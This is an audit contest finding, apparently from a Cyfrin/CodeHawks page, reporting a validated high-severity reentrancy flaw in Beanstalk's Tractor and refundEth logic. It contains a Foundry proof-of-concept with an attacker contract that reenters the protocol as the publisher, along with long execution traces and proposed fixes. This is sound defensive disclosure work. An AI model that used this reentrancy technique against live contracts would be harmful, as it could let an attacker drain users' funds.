DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: high
Valid

Refunding ETH to the caller can be exploited using the Tractor component to call any arbitrary function on behalf of the publisher

Summary

The usage of certain function via tractor blueprints can give the executor of the blueprint complete control of the publisher's position in the protocol

Relevant GitHub Links:

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Token/LibEth.sol#L18
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/farm/TractorFacet.sol#L46-L61

Vulnerability Details

The tractor component is meant to execute operations inside the Beanstalk protocol on behalf of a publisher. That means that a user can ONLY execute those functions that the publisher exclusively allowed him to execute. This feature should not enable someone to execute any arbitrary function. However, there are specific functions that can enable a user to execute any arbitrary function on the protocol on behalf of the publisher that he has not allowed to execute.
These function have a particularity, return eth to the caller. Specifically executes the refundEth function:

function refundEth() internal {
AppStorage storage s = LibAppStorage.diamondStorage();
if (address(this).balance > 0 && s.sys.isFarm != 2) {
(bool success, ) = msg.sender.call{value: address(this).balance}(new bytes(0));
require(success, "Eth transfer Failed.");
}
}

This function basically tries to send the remaning ETH in the Beanstalk contract to the msg.sender. When the contract sends ETH to the caller it will pass the transaction execution to the msg.sender.
The main problem here is that when someone is executing one of the functions that refunds ETH on behalf of a publisher, he will gain the transaction execution and will have the hability to call any arbitrary function inside the Beanstalk contract on behalf of the publisher without being allowed to. That's because the activePublisher will expire once all the functions that the publisher allowed to execute ends. So if the ETH refund is executed in the middle of one of these transactions, the attacker will have the activePublisher set to the victim and the transaction execution to call any arbitrary funcion on behalf of the publisher.

The list of functions that make this exploit possible are:

DepotFacet::advancedPipe
DepotFacet::etherPipe
TokenFacet::wrapEth
L1TokenFacet::wrapEth
FarmFacet::farm
FarmFacet::advancedFarm

Proof of concept:
In this Proof of Concept I created a function to fetch the active publisher and did not executed any attack to Alice, just demonstrated that Bob got the transaction execution where he can execute any arbitrary function on behalf of Alice.
This test uses the Field.t.sol setup:

function test_blueprintHackPOC() public {
// Get alice private key to sign the EIP712
uint256 alicePrivateKey = 0xa11ce;
address alice = vm.addr(alicePrivateKey);
address bob = makeAddr("bob");
// In this example, we will be using the example of the function FarmFacet::farm()
// The function that farm will be performing is beanSown(). In this context
// makes no sense to call this function but this is secondary, I made it simple
// for testing purposes. Here would be a series of publisher determined functions
// to call.
bytes[] memory datas = new bytes[](1);
datas[0] = abi.encodeWithSignature("beanSown()");
// Wrap the function to call inside the "FarmFacet::farm" function. This is the
// function that will refund the ETH to the caller
AdvancedFarmCall[] memory advancedCalls = new AdvancedFarmCall[](1);
advancedCalls[0] = AdvancedFarmCall({
callData: abi.encodeWithSignature("farm(bytes[])", datas),
clipboard: ""
});
bytes memory tractorData = abi.encodePacked(bytes4(0x00000000), abi.encode(advancedCalls));
// Alice creates a blueprint for anybody to execute it on her behalf
LibTractor.Blueprint memory blueprint = LibTractor.Blueprint({
publisher: alice,
data: tractorData,
operatorPasteInstrs: new bytes32[](0),
maxNonce: type(uint256).max,
startTime: block.timestamp - 1,
endTime: block.timestamp + 10000
});
bytes32 blueprintHash = diamond.getBlueprintHash(blueprint);
bytes32 hashToSign = MessageHashUtils.toEthSignedMessageHash(blueprintHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivateKey, hashToSign);
bytes memory signature = abi.encodePacked(r, s, v);
LibTractor.Requisition memory requisition = LibTractor.Requisition({
blueprint: blueprint,
blueprintHash: blueprintHash,
signature: signature
});
vm.deal(bob, 1 ether);
vm.startPrank(bob);
// Bob creates the attacker contract
AttackerContract attackContract = new AttackerContract();
// Bob executes the attack to execute any arbitrary function
attackContract.startAttack{value: 1 ether}(address(diamond), requisition);
vm.stopPrank();
}
contract AttackerContract {
event GetPublisher(address publisher);
address public diamond;
// The attack is initiated by calling the tractor function to be able to execute functions
// on behalf of the publisher
function startAttack(address diamondAddress, LibTractor.Requisition memory requisition) public payable{
diamond = diamondAddress;
IMockFBeanstalk(diamondAddress).tractor{value: msg.value}(requisition, "");
}
// Once Beanstalk refunds ETH to this contract (in the context of the msg.sender), he will
// be able to execute any arbitrary function on behalf of the publisher even though he
// should not be able to do.
fallback() external payable {
address publisher = IMockFBeanstalk(diamond).getActivePublisher();
// Emit the publisher to see in the traces that the address of the publisher matches
// alice's address
emit GetPublisher(publisher);
// The attack would be executed here
}
}

Traces:

Ran 1 test for test/foundry/field/Field.t.sol:FieldTest
[PASS] test_blueprintHackPOC() (gas: 819393)
Traces:
[819393] FieldTest::test_blueprintHackPOC()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]
├─ [0] VM::label(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], "bob")
│ └─ ← [Return]
├─ [7558] Beanstalk::getBlueprintHash(Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] })) [staticcall]
│ ├─ [2483] TractorFacet::getBlueprintHash(Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] })) [delegatecall]
│ │ └─ ← [Return] 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc
│ └─ ← [Return] 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc
├─ [0] VM::sign("<pk>", 0xba27e71307e1d707434c5274f067e4b63ced79208b46d6c0c2daee19d08baaf0) [staticcall]
│ └─ ← [Return] 28, 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea42, 0x6626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d
├─ [0] VM::deal(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [357391] → new AttackerContract@0x7f9F2c462d5F83B1a5CE6B80CbD691278Fa4647A
│ └─ ← [Return] 1785 bytes of code
├─ [400873] AttackerContract::startAttack{value: 1000000000000000000}(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5], Requisition({ blueprint: Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] }), blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc, signature: 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea426626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d1c }))
│ ├─ [365947] Beanstalk::tractor{value: 1000000000000000000}(Requisition({ blueprint: Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] }), blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc, signature: 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea426626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d1c }), 0x)
│ │ ├─ [363293] TractorFacet::tractor{value: 1000000000000000000}(Requisition({ blueprint: Blueprint({ publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, data: 0x000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000a4300dd6cf00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000040b1d541200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, operatorPasteInstrs: [], maxNonce: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], startTime: 997199 [9.971e5], endTime: 1007200 [1.007e6] }), blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc, signature: 0x85ad827b9568a109fc5d5adee864f36e25b72e74a4294adddd5d598c5643ea426626ce289bff1d9cc2527c0634735e7e59166e03dac48e56bf637249bbc03d4d1c }), 0x) [delegatecall]
│ │ │ ├─ [3000] PRECOMPILES::ecrecover(0xba27e71307e1d707434c5274f067e4b63ced79208b46d6c0c2daee19d08baaf0, 28, 60464173962614186332303462176109042287359479740271240005626956927338423773762, 46204473598528409470120544646691497478798504711195469583190631948092268625229) [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000e05fcc23807536bee418f142d19fa0d21bb0cff7
│ │ │ ├─ emit CancelBlueprint(blueprintHash: 0x0000000000000000000000000000000000000000000000000000000000000001)
│ │ │ ├─ emit CancelBlueprint(blueprintHash: 0x0000000000000000000000000000000000000000000000000000000000000002)
│ │ │ ├─ [206016] FarmFacet::farm{value: 1000000000000000000}([0x0b1d5412]) [delegatecall]
│ │ │ │ ├─ [2326] MockFieldFacet::beanSown{value: 1000000000000000000}() [delegatecall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [4596] AttackerContract::fallback{value: 1000000000000000000}()
│ │ │ │ │ ├─ [2903] Beanstalk::getActivePublisher() [staticcall]
│ │ │ │ │ │ ├─ [461] TractorFacet::getActivePublisher() [delegatecall]
│ │ │ │ │ │ │ └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
│ │ │ │ │ │ └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
│ │ │ │ │ ├─ emit GetPublisher(publisher: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ ├─ [3769] BEAN/ETH Well::tokens() [staticcall]
│ │ │ │ │ ├─ [1017] well::tokens() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2]
│ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2]
│ │ │ │ ├─ [1269] BEAN/WSTETH Well::tokens() [staticcall]
│ │ │ │ │ ├─ [1017] well::tokens() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0]
│ │ │ │ │ └─ ← [Return] [0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab, 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0]
│ │ │ │ ├─ [2714] Bean::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2847] BEAN/ETH Well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ ├─ [2598] well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2847] BEAN/WSTETH Well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ ├─ [2598] well::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2714] Unripe Bean::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2714] Unripe LP::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2648] Weth::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ ├─ [2637] wstETH::balanceOf(Beanstalk: [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 0
│ │ │ │ └─ ← [Return] [0x0000000000000000000000000000000000000000000000000000000000000000]
│ │ │ ├─ emit Tractor(operator: AttackerContract: [0x7f9F2c462d5F83B1a5CE6B80CbD691278Fa4647A], blueprintHash: 0xb32087471d4fbcd229ebc9de1783bd29bfe126e12d0914ad879f6824f9fb95fc)
│ │ │ └─ ← [Return] [0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000]
│ │ └─ ← [Return] [0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 703.03ms (6.43ms CPU time)
Ran 1 test suite in 1.52s (703.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As we can see, when the GetPublisher event is emitted, the address matches with the Alice's one. That means that any function called inside the Beanstalk protocol will be done on behalf of Alice.

Impact

High, if a publisher signs a hash to execute any of the previously mentioned functions, any user can execute any arbitrary function on his behalf. That includes transfering all tokens out of the publisher's balance, transfer fertilizer, transfer pods, etc...
There are just a few functions that allow this attack but if someone makes a blueprint executing any of these, can get all his positions drained by any malicious actor because it can be called by everyone.

Tools Used

Manual review

Recommendations

From my point of view the best mitigations would be:

1- Set s.sys.isFarm = 2. This way the refundEth function would not give the transaction execution to the caller.

2- Refund the Eth to the active publisher instead of the msg.sender by changing this:

function refundEth() internal {
AppStorage storage s = LibAppStorage.diamondStorage();
if (address(this).balance > 0 && s.sys.isFarm != 2) {
- (bool success, ) = msg.sender.call{value: address(this).balance}(new bytes(0));
+ (bool success, ) = LibTractor._user().call{value: address(this).balance}(new bytes(0));
require(success, "Eth transfer Failed.");
}
}

3- Add the nonReentrant modifier in each of the previously mentioned functions

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Refunding ETH to the caller can be exploited using the Tractor component to call any arbitrary function on behalf of the publisher

Appeal created

draiakoo Submitter
11 months ago
draiakoo Submitter
11 months ago
inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Refunding ETH to the caller can be exploited using the Tractor component to call any arbitrary function on behalf of the publisher

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.